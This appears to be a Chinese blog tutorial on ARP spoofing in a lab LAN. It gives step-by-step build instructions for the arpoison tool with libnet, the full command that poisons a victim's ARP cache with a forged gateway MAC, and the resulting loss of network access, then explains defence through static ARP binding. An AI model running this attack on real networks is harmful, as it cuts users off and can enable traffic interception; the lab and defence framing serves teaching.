首先简答的介绍一下什么是ARP(Address Resolution Protocol)即地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。
希望了解更多ARP工作原理的朋友可以参考一下我前面写的两篇文章:
[CCNA图文笔记二]OSI参考模型和设备的对应关系 ,这篇文章中“数据链路层”那一节对交换机原理的描述,对理解ARP攻击非常有帮助。
局域网ARP攻击实现与防范[图文] ,这篇文章讲解的是Windows下的ARP攻击实现与防范。
开始之前,我们需要下载下面两个工具,提供了百度网盘和官方下载两种方式,供大家选择:
arpoison官方下载[ 地址 ]
libnet官方下载[ 地址 ]
arpoison-0.7百度网盘下载[ 地址 ]
libnet-1.1.6.tar.gz百度网盘下载[ 地址 ]
本文发表的时候,arpoison最新版是“arpoison-0.7”;libnet最新的稳定版是“libnet-1.1.6.tar.gz”,测试版是“libnet-1.2-rc3.tar.gz”,本文演示使用的是稳定版。
其中arpoison是我们今天的主角,它提供的是一个C语言编写的源文件,需要用GCC将它编译成可执行文件,而编译它需要用到libnet库中的头文件,所以我们需要先安装libnet库:
/*Ctrl+Alt+T打开一个新的shell,开始安装*/ /*如果没有安装gcc可以先使用下面的命令安装*/ [email protected]:~$ sudo apt-get install gcc /*我将上面的两个文件都下载到我的家目录中解压缩*/ [email protected]:~$ tar -vxzf libnet-1.1.6.tar.gz [email protected]:~$ tar -vxzf arpoison-0.7.tar.gz /*首先安装libnet*/ [email protected]:~$ ls arpoison-0.7 arpoison-0.7.tar.gz libnet-1.1.6 libnet-1.1.6.tar.gz [email protected]:~/libnet-1.1.6$ cd libnet-1.1.6/ [email protected]:~/libnet-1.1.6$ sudo ./configure [email protected]:~/libnet-1.1.6$ sudo make [email protected]:~/libnet-1.1.6$ sudo make install /*安装完成后建议大家ls一下下面两个地方,因为版本不同libnet.a可能会出现在下面两个地方之一*/ /usr/lib/libnet.a /usr/local/lib/libnet.a //我这个版本出现在这里,记住这个位置,后面编译arpoison要用到。 /*编译arpoison*/ [email protected]:~/libnet-1.1.6$ cd ../arpoison-0.7 [email protected]:~/arpoison-0.7$ ls arpoison.8 arpoison.c LICENSE Makefile README /*编译时需要用到libnet.a*/ [email protected]:~/arpoison-0.7$ gcc arpoison.c /usr/local/lib/libnet.a -o arpoison /*将编译好的arpoison移动到/bin下方便启动*/ [email protected]:~/arpoison-0.7$ sudo mv arpoison /bin/arpoison
到这里准备工作全部完成了。
首先介绍一下实验环境:
攻击者,系统Ubuntu,IP地址:192.168.1.241/24
被攻击者,系统ubuntu,IP地址:192.168.1.109/24,MAC地址:cc:1e:19:92:09:24
他们处于同一个局域网,局域网网关IP:192.168.1.1,网关真实MAC:10:d1:77:fe:28:bc
都使用有线连接(无线连接同样适用),本地连接设备号为eth0。
/*攻击者发动进攻,首先通过Ping获取目标MAC地址*/ [email protected]:~$ ping 192.168.1.109 /* * 不论能不能Ping通,等待几秒钟,使用下面的命令查看ARP缓存 * 第一行我们得到了192.168.1.109对应的MAC地址cc:1e:19:92:09:24 * 第二行是网关192.168.1.1对应的真实MAC地址10:d1:77:fe:28:bc */ [email protected]:~$ arp -a qingsword.com (192.168.1.109) 位于 cc:1e:19:92:09:24 [ether] 在 eth0 ? (192.168.1.1) 位于 10:d1:77:fe:28:bc [ether] 在 eth0 /* * 这个时候如果在被攻击者电脑上使用arp -a,我们会看到下面的内容 * 因为刚才攻击者Ping了我们,所以我们的ARP缓存中也会出现他的IP和对应的MAC * 第二条同样是网关的真实MAC地址(注意等下网关MAC的变化) */ @qingsword.com:~$ arp -a www.qingsword.com (192.168.1.241) 位于 00:ec:1f:90:2a:12 [ether] 在 eth0 ? (192.168.1.1) 位于 10:d1:77:fe:28:bc [ether] 在 eth0 /* * 攻击者开始发动ARP攻击(命令无断行) * -i后面接本地网络设备号,如果是无线网络这里可能是wlan0 * -d后面是目标IP * -s是网关IP * -t后面是目标MAC * -r后面接一个你伪造的MAC地址 * 回车后会持续发送,知道你按Ctrl+C终止它,也可以在最后添加一个-n参数,指定发送多少个数据包 */ [email protected]:~$ sudo arpoison -i eth0 -d 192.168.1.109 -s 192.168.1.1 -t cc:1e:19:92:09:24 -r 44:44:44:44:44:44 /*下面我们在被攻击者的机器上查看arp缓存,发现网关地址被篡改成了攻击者发送给我们的那个不存在的地址,这时候,被攻击者是无法正常访问网络的*/ @qingsword.com:~$ arp -a ? (192.168.1.1) 位于 44:44:44:44:44:44 [ether] 在 eth0
下面我们来看看如何防范这样的ARP攻击。
最好的方法是使用静态绑定,前提是你需要知道网关的正确MAC地址,可以在没有出现ARP攻击时通过Ping网关IP得到正确的MAC地址,然后通过下面的方法静态绑定网关MAC地址:
/*arp -s后面跟网关的IP地址和真实的MAC地址*/ [email protected]:~$ sudo arp -s 192.168.1.1 10:d1:77:fe:28:bc /*查看ARP缓存PERM说明这是一条静态绑定ARP条目*/ [email protected]:~$ arp -a ? (192.168.1.1) 位于 10:d1:77:fe:28:bc [ether] PERM 在 eth0 /*可以通过下面的命令删除静态绑定*/ [email protected]:~$ arp -d 192.168.1.1 10:d1:77:fe:28:bc 如果你觉得上面的手动绑定太麻烦,想要系统启动时自动绑定网关MAC: /*建立ethers文件在其中输入192.168.1.1 10:d1:77:fe:28:bc*/ [email protected]:~$ vi /etc/ethers /*保存后再在/etc/rc.local文件中增加arp -f命令*/